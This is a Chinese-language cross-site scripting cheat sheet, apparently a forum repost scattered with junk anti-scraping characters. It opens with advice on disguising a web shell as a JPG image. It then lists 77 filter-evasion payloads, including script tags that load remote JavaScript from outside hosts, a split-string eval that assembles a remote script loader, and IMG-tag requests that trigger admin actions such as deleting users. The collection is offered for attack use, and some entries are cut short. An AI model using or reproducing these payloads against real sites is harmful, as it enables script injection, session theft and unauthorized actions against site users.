跨站图片shell# l& p9 u. F1 b3 X
XSS跨站代码 <script>alert("")</script>: r) _+ D m2 `8 z r" l
! e+ ^- y7 \* n% |- {/ ~
将代码加入到马的第一行,将马改成JPG图片格式,访问图片格式的马时,也会执行我们的马7 ^7 {( g; k$ L$ O4 R
/ o9 `7 Y ~. o% k) a
" L/ H" c W* e0 g, Q& i3 d7 `, h' }% P- D4 F
1)普通的XSS JavaScript注入
! p. q- i% S( e4 c4 o x* X<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>
( Y" t- O5 I! P' a, h1 A
& D* w4 z% p* l# p(2)IMG标签XSS使用JavaScript命令# e4 r* f* e" x! C/ Q& ~# K: g4 O
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>
. e+ h. n( t, m5 F4 A& z; m0 c+ D
(3)IMG标签无分号无引号# s: W+ z% I1 ]. U3 _
<IMG SRC=javascript:alert(‘XSS’)>6 T3 l2 W0 M, B* G7 U- t' ~: M, S
4 K$ ^9 @+ u; f( Y+ k(4)IMG标签大小写不敏感
% m5 N5 l; ^4 C& Q: \. {' B<IMG SRC=JaVaScRiPt:alert(‘XSS’)>
7 G& x$ Y9 k: C* N2 L3 h: r- I7 B- o( ?0 T3 l4 W( k
(5)HTML编码(必须有分号)4 U7 Y$ {% j- S3 A
<IMG SRC=javascript:alert(“XSS”)>
& z; @% u0 q' I3 k, e$ D) P. {# y6 y$ m* k$ j, t$ p
(6)修正缺陷IMG标签
5 W% d. r$ o/ y- S<IMG “”"><SCRIPT>alert(“XSS”)</SCRIPT>”>' @6 |# n, D2 Y& t2 y5 y
+ v X2 Z% d: V3 L- A! i/ q(7)formCharCode标签(计算器)4 J1 ^3 Q. [9 g, V
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
- i* J% V! g8 ]5 C5 T. P7 K; p
! M* `5 [) E& B4 n$ G4 Z5 `(8)UTF-8的Unicode编码(计算器)+ A9 @4 U& A0 n) Z2 |* c7 Z- w" J+ R
<IMG SRC=jav..省略..S')>
/ r7 j( g: c- X! ^6 L1 F' n& S6 G4 V+ z
(9)7位的UTF-8的Unicode编码是没有分号的(计算器)
% R; Z7 D6 ?( P1 e6 A: |& D<IMG SRC=jav..省略..S')>
6 T( D4 q! C: w. u/ l* o; Z
: B8 e. O% o7 b s% w0 o(10)十六进制编码也是没有分号(计算器)- B* i# T% e; s" X7 C( o
<IMG SRC=java..省略..XSS')>
$ K4 R9 ~0 W* x; ^" b0 m6 m! L6 i8 t8 g* } ^
(11)嵌入式标签,将Javascript分开3 x. \$ i: Y, E/ @* p! d
<IMG SRC=”jav ascript:alert(‘XSS’);”>
0 e9 y* Q7 w- ~' |1 n) _) i% k& w# c
" r; g C1 P" Q! M5 a(12)嵌入式编码标签,将Javascript分开
; P* U. E4 K$ ^; k<IMG SRC=”jav ascript:alert(‘XSS’);”>: |5 | O% J; [4 d7 a- Z5 v
) H/ H Q3 Y' j& ?* t
(13)嵌入式换行符6 V) B2 l/ p- |& {' R
<IMG SRC=”jav ascript:alert(‘XSS’);”>
* U d: f- N1 p+ X" R V& b4 K9 _& K1 C- }2 r0 V( Z+ ~5 j J0 l
(14)嵌入式回车
+ n4 d" q" S3 w! b H<IMG SRC=”jav ascript:alert(‘XSS’);”>
2 ?# V( e$ t; A) ~* |. H) n; m
( K# G$ g1 F1 d2 `( ^(15)嵌入式多行注入JavaScript,这是XSS极端的例子! O- ]: s, q6 p8 x* H
<IMG SRC=”javascript:alert(‘XSS‘)”>
+ k R& m8 e8 o9 l4 v/ f) y1 K
! Y" }% P( K' Y+ h(16)解决限制字符(要求同页面)6 p3 v8 r# x% e+ G7 v$ j. d/ @
<script>z=’document.’</script>
; `- i3 e. k$ N; L4 J W<script>z=z+’write(“‘</script>6 `, I4 f S) U( {. y) W
<script>z=z+’<script’</script>
& F/ } H8 ]4 ~<script>z=z+’ src=ht’</script>
- P9 ?: B3 y. Z1 ^2 q% j* s<script>z=z+’tp://ww’</script>
7 S$ c5 p( r# Z% Z( T( M0 ]7 e0 L<script>z=z+’w.shell’</script>
+ p9 S7 P ^: W<script>z=z+’.net/1.’</script>
4 T$ s% `5 s0 ]% C; @) k<script>z=z+’js></sc’</script>
. N/ o1 Y* U4 V( p/ j; _, W<script>z=z+’ript>”)’</script>' s# c" n1 K% U
<script>eval_r(z)</script>
8 T$ q2 Z5 V. [9 N M$ l6 c' [ h
(17)空字符9 l! S1 V" W' ~4 Q4 w* _" A$ m8 _
perl -e ‘print “<IMG SRC=java\0script:alert(\”XSS\”)>”;’ > out' X3 [: x+ m5 _' Q3 [
, x5 N- Q2 k% L( s" t9 X7 t
(18)空字符2,空字符在国内基本没效果.因为没有地方可以利用
2 Y% Y. U/ P' Q' O& c/ ]perl -e ‘print “<SCR\0IPT>alert(\”XSS\”)</SCR\0IPT>”;’ > out \1 L* h" D3 |, t5 ]( @$ C
- y- q" G7 i; [2 @4 c(19)Spaces和meta前的IMG标签
, Y; d7 G" m- h/ n; |0 e2 Q% a2 f<IMG SRC=” javascript:alert(‘XSS’);”>
' }+ j7 r# J6 \0 m
8 o" I* [. d2 Z* X4 o! T0 l(20)Non-alpha-non-digit XSS
* l# M# D5 m9 Y& h& X4 ]<SCRIPT/XSS SRC=”http://3w.org/XSS/xss.js”></SCRIPT>! @( j6 _% Z, Y
8 G. }8 i }) M1 m9 e. }6 g(21)Non-alpha-non-digit XSS to 28 ]/ N; y! L9 H1 i! M3 @
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(“XSS”)>6 }3 A- F+ _- v+ ^
$ ~' }- R* c. { L* l1 I& b+ I(22)Non-alpha-non-digit XSS to 39 Z5 ]( m3 \, g* s: r+ d8 a. ~$ L+ w
<SCRIPT/SRC=”http://3w.org/XSS/xss.js”></SCRIPT>
/ H* r5 ]! M; R7 R$ Q' m& ?7 ]" w, |! [
(23)双开括号
7 u# v! ?. `* E2 }<<SCRIPT>alert(“XSS”);//<</SCRIPT>7 w6 U. \: n( D3 |
3 w. O6 I8 M0 E8 O(24)无结束脚本标记(仅火狐等浏览器)6 I3 Q+ m' y0 a$ R5 A9 U, f9 a
<SCRIPT SRC=http://3w.org/XSS/xss.js?<B>
& [6 y" F2 t& T4 y$ {8 r6 V
w0 K/ l3 P7 A9 U8 ](25)无结束脚本标记20 j. R6 h/ G7 }# x8 j# z
<SCRIPT SRC=//3w.org/XSS/xss.js>
5 d& u3 D. O/ T0 l, h& q4 \ |0 G2 D# N+ B, @
(26)半开的HTML/JavaScript XSS
! Y$ k7 A3 ]" d0 J( |<IMG SRC=”javascript:alert(‘XSS’)”
' Z4 {5 y8 V; S( m' K8 T( j% E2 H' s3 O( n' X( h
(27)双开角括号
1 c8 f+ F+ _$ I1 n<iframe src=http://3w.org/XSS.html <
. U8 m- i( F0 l/ Y0 |. }
, g* Q/ Y: j% x `- X(28)无单引号 双引号 分号# i. D' s" A6 B1 ^5 u
<SCRIPT>a=/XSS/4 P$ c0 {' p% e+ T5 q2 z$ _" J [
alert(a.source)</SCRIPT>* m1 E1 {* u: B5 C. n8 j: k
) V6 k3 l: ?! R j, p
(29)换码过滤的JavaScript- p! r: Z. ]0 q9 w/ b
\”;alert(‘XSS’);//
: \' e+ \# O1 P$ q: s
$ a7 ?% F* j# o4 s(30)结束Title标签
- s8 u# c s; J</TITLE><SCRIPT>alert(“XSS”);</SCRIPT>
\: k I( J! i. t7 D$ _8 W. D
& ?8 C3 @7 P7 E& @" o- {2 \(31)Input Image! k8 w! U( l7 A+ p' D: J, O. l
<INPUT SRC=”javascript:alert(‘XSS’);”>7 N4 d2 O) B% e5 V D4 M
8 X3 [# ~2 q6 H, p
(32)BODY Image
. A8 l& K7 S5 }% X5 w2 u<BODY BACKGROUND=”javascript:alert(‘XSS’)”>
- _, d E) t! }) u" I
: Y5 P( c# v. j* {6 Q; d(33)BODY标签
( u& F: M/ N: p<BODY(‘XSS’)>( V; S2 f) W r( x: N, y
6 `- u7 l$ K% Z(34)IMG Dynsrc
" _7 a( d6 t! p" o y0 a<IMG DYNSRC=”javascript:alert(‘XSS’)”>
9 _) i T/ p V h# W1 ^0 w# |+ q3 [# O5 U! T! \; A
(35)IMG Lowsrc
- K& s/ T4 Q$ X+ n/ M; d ~<IMG LOWSRC=”javascript:alert(‘XSS’)”>3 ?6 D4 Y* E/ T( ]3 g {6 `4 |
: s' C& b2 H' [% \8 Z(36)BGSOUND
. M+ V Q2 Q* ^3 L7 X7 Z7 S2 w<BGSOUND SRC=”javascript:alert(‘XSS’);”>
: i0 b/ g( W2 c$ P6 r" X7 i }
5 B; b9 }7 w( B: s9 s1 v(37)STYLE sheet
: r h8 A/ G2 \) m4 g8 t<LINK REL=”stylesheet” HREF=”javascript:alert(‘XSS’);”>1 W6 P5 l( L% _
0 e9 S. l7 K& L$ Z(38)远程样式表( C5 u% h4 W8 n# v9 w6 e( U6 c! I
<LINK REL=”stylesheet” HREF=”http://3w.org/xss.css”>
9 c- K3 z/ }- n# E, x% _# X n8 n$ _
(39)List-style-image(列表式)- R1 T* F! {. N$ r8 _4 R+ w
<STYLE>li {list-style-image: url(“javascript:alert(‘XSS’)”);}</STYLE><UL><LI>XSS9 q0 D- Q6 n2 t: l/ I) w, T: i' P
" t1 h- z0 N9 A9 y
(40)IMG VBscript
3 b/ k$ ^2 V; K" \' L+ {8 ^# k% {<IMG SRC=’vbscript:msgbox(“XSS”)’></STYLE><UL><LI>XSS+ U. i% C' O) d, z% D
- y9 S- V, Y+ o0 u(41)META链接url) R7 |# W2 D+ Y' c: Z# K4 s& |
<META HTTP-EQUIV=”refresh” CONTENT=”0; URL=http://;URL=javascript:alert(‘XSS’);”>
$ i4 r& S' I$ z# n
' m% J1 J Z$ O! `(42)Iframe- S! j' u: I. `2 Y
<IFRAME SRC=”javascript:alert(‘XSS’);”></IFRAME>
9 j/ T5 W8 L3 D0 p, {' z. p(43)Frame
( K4 \. \+ h- A3 N9 I& G/ Z* {<FRAMESET><FRAME SRC=”javascript:alert(‘XSS’);”></FRAMESET>
/ A* }) ?9 l9 Q6 [ E6 D# Q1 B# I$ Q% C* g F0 O8 i/ u
(44)Table
4 O' A8 V( [0 O4 x3 F O3 Y' a+ H1 m<TABLE BACKGROUND=”javascript:alert(‘XSS’)”>/ a& {4 L- `" \
/ w6 K/ f: s: ]+ J5 Y" r' V0 G(45)TD
. |- V( N! H/ \0 O$ {* {# b<TABLE><TD BACKGROUND=”javascript:alert(‘XSS’)”>
' H) O( F( a7 x/ c1 Z$ ]+ x
$ C6 p8 V0 p9 _0 d; q; X `(46)DIV background-image
* ?: U% y7 X# A6 \& e<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>$ f$ W5 H6 t# J* W0 p& p5 N
3 t3 q' P/ o% Y( p2 N" t$ i(47)DIV background-image后加上额外字符(1-32&34&39&160&8192-8&13&12288&65279); s# B7 ]1 ]- O2 n) ^
<DIV STYLE=”background-image: url( javascript:alert(‘XSS’))”>' Y j8 l' s; v4 F
9 u0 t/ |: j' ]4 ^# j0 K8 L( ^
(48)DIV expression# h5 F" I# Y% j& D% s
<DIV STYLE=”width: expression_r(alert(‘XSS’));”>
, z, I: J" ?+ r; v2 S( c' v- K& V y
(49)STYLE属性分拆表达
' E3 V9 X, O! T<IMG STYLE=”xss:expression_r(alert(‘XSS’))”>
6 M' y0 a/ L* W3 [0 V$ R: D
- S+ |+ c& ?, t4 T% S" H/ P0 Z(50)匿名STYLE(组成:开角号和一个字母开头)5 f8 y' p& ^" x6 v6 S3 g
<XSS STYLE=”xss:expression_r(alert(‘XSS’))”>/ e! W/ n3 d( `$ N5 W: h3 U! q- v( X
" E0 L# y% ^( K(51)STYLE background-image
2 j$ T% }3 k5 Z/ H$ n6 p- ^% l7 J<STYLE>.XSS{background-image:url(“javascript:alert(‘XSS’)”);}</STYLE><A CLASS=XSS></A># ^% @9 s4 h3 r* t4 B$ ?
3 ]( ]0 Z# y" u' R9 x* B7 a; Q
(52)IMG STYLE方式' T5 c9 v6 k3 k: t: b1 r* u) G
exppression(alert(“XSS”))’>
$ M0 y# b( c/ C: x- d! A6 [, J) F
# B! L/ Y8 `; y- T/ T! t(53)STYLE background5 ?! ^+ B# ?# I; ?' t* t5 x7 p
<STYLE><STYLE type=”text/css”>BODY{background:url(“javascript:alert(‘XSS’)”)}</STYLE>- T. w6 }+ j r
. G7 v( d3 {, o f0 y- K
(54)BASE. i! @1 F+ m1 T* h! t; z" Z5 q
<BASE HREF=”javascript:alert(‘XSS’);//”>$ N k- b" t* x; _( Y6 v
5 Z" l' M0 c# }; B& V(55)EMBED标签,你可以嵌入FLASH,其中包涵XSS# f0 C0 j- o7 s; i5 r' F7 U$ }7 ?
<EMBED SRC=”http://3w.org/XSS/xss.swf” ></EMBED>' @* S' H# L- U
$ D/ ?4 i( ~9 _1 i" i0 e0 `" s7 o
(56)在flash中使用ActionScrpt可以混进你XSS的代码( S6 [1 Z4 w0 _" P8 F
a=”get”;7 o/ O, G' Z& |/ p2 b7 t
b=”URL(\”";
' J0 k( @- W/ K3 v. g* N5 Dc=”javascript:”;
' Y- a2 v3 B$ Qd=”alert(‘XSS’);\”)”;
% R: ~/ b$ i: M' |. n! Ieval_r(a+b+c+d);1 k% H4 T) p3 q3 E5 P( P
5 x+ ^4 D6 z$ h& J A0 o$ u5 r(57)XML namespace.HTC文件必须和你的XSS载体在一台服务器上
6 w8 {$ ?, f7 V7 K$ o& B! ^<HTML xmlns:xss>0 L2 `4 [8 U4 H1 w
<?import namespace=”xss” implementation=”http://3w.org/XSS/xss.htc”>. d4 Y9 o5 o4 {1 u7 P
<xss:xss>XSS</xss:xss>: j$ t1 h6 [+ }
</HTML>* C4 x9 P! M- S2 L5 _6 t$ b
, a4 y2 A' T% w3 t* k9 m
(58)如果过滤了你的JS你可以在图片里添加JS代码来利用4 F5 T5 z M, I$ w0 M
<SCRIPT SRC=””></SCRIPT>
; t% `& i! A5 a+ ]4 U4 T
/ t6 r( A' W$ B3 Q! p9 X# u0 d(59)IMG嵌入式命令,可执行任意命令 W P( c- ]; X5 x
<IMG SRC=”http://www.XXX.com/a.php?a=b”>+ i1 k$ Z, p& F
' J9 \/ C8 l% {0 P" V' @(60)IMG嵌入式命令(a.jpg在同服务器)' {, w0 i* o* \9 l" b i) u; ] N
Redirect 302 /a.jpg http://www.XXX.com/admin.asp&deleteuser
0 n' m+ w4 Y" C6 k2 G
2 \3 D3 t: v/ s+ ]* U0 G& z5 `(61)绕符号过滤4 `& D& T2 l/ e7 A% Q5 B; ~2 G
<SCRIPT a=”>” SRC=”http://3w.org/xss.js”></SCRIPT>
/ Z4 [3 k, d3 ?) R/ S% z& f7 n! A5 O( j0 _' a
(62)
! Z) C% q R- Z<SCRIPT =”>” SRC=”http://3w.org/xss.js”></SCRIPT>9 r% b* |/ o; a: b; l; b; L+ v2 k& T
0 o. ~* H9 x/ ]0 [" }7 h8 q(63)
0 _% V* j! f: z X7 P4 V$ N2 e<SCRIPT a=”>” ” SRC=”http://3w.org/xss.js”></SCRIPT>
D5 w! {0 R: {! A
. s# Y2 h' l8 Y: i; _& R7 ^1 V% C(64): O9 V2 d3 A$ I
<SCRIPT “a=’>’” SRC=”http://3w.org/xss.js”></SCRIPT>) F: j# b- Z- v; n- R
' [( x0 H; {' K2 A(65)2 t0 R9 J. i1 v) n
<SCRIPT a=`>` SRC=”http://3w.org/xss.js”></SCRIPT>
3 }$ N" b N$ }; q8 I. s8 v# o$ j$ K) e$ u6 o0 a
(66)$ U; Y4 a6 A+ f5 Z8 v) z) z
<SCRIPT a=”>’>” SRC=”http://3w.org/xss.js”></SCRIPT>
- K1 ?5 j! j# |& i- C# B
/ j( l0 H& v/ w8 H# g(67)
* K9 S F7 g2 n/ ]% j% Y0 W<SCRIPT>document.write(“<SCRI”);</SCRIPT>PT SRC=”http://3w.org/xss.js”></SCRIPT>
5 z+ ?- d, U: K
2 [: e4 S! [3 M' O(68)URL绕行# p6 t! Q2 `) \
<A HREF=”http://127.0.0.1/”>XSS</A> y9 l* z# d" d# W; n- Z
2 t/ K& S4 w4 S2 }9 c: ] r
(69)URL编码7 e+ v1 r1 \" Q* s O# k
<A HREF=”http://3w.org”>XSS</A>
' W) ~7 s) r( t, j9 Y2 a- z$ p5 n
(70)IP十进制0 Z1 f O* ^6 r
<A HREF=”http://3232235521″>XSS</A>
& J9 [6 r" ~0 d J' ]/ b' s7 X# }+ |- o- T! s' b( |" n/ V1 U
(71)IP十六进制
" f8 W* Q x( m) ~7 x ^<A HREF=”http://0xc0.0xa8.0×00.0×01″>XSS</A>
@3 y9 }, ?: Q, R2 M9 _0 [$ ?1 W3 ?7 x2 J! w: A" g" |1 ~
(72)IP八进制
" c M2 i7 U, ?; |1 z<A HREF=”http://0300.0250.0000.0001″>XSS</A>
H& I/ e- [( W3 O( c+ e
! ?/ y! k. N" f. L7 I(73)混合编码' N9 r, x$ |( F; h% ~8 @; K2 Q/ b
<A HREF=”h( f- L% L* D/ j- Z: n* E! p" R
tt p://6 6.000146.0×7.147/”">XSS</A>4 l/ \0 e& t8 ^/ I
/ h) `& _ I- a, \# c9 M* L! g1 z(74)节省[http:]- K5 E k5 E# q" O, z7 \+ T
<A HREF=”//www.google.com/”>XSS</A>" Z0 r- [' z0 p7 r* M; y4 M0 T) J
7 f# B% ]. I( j# Y* P f* m; r
(75)节省[www]3 L3 |5 w! P' F0 |
<A HREF=”http://google.com/”>XSS</A>
/ k" v% V' s" W
z K/ I0 |3 ^; O/ \% B(76)绝对点绝对DNS5 L; t- T! }) B" b5 I& L8 M. U& j
<A HREF=”http://www.google.com./”>XSS</A>
, D0 N+ T6 {. r- h
( m5 S; h' F( P: W5 }2 g% o9 ?(77)javascript链接
0 y! U9 K' {' ]* w+ ?<A HREF=”javascript:document.location=’http://www.google.com/’”>XSS</A>& p- u# e( x' ?. B2 R- k! d2 O
|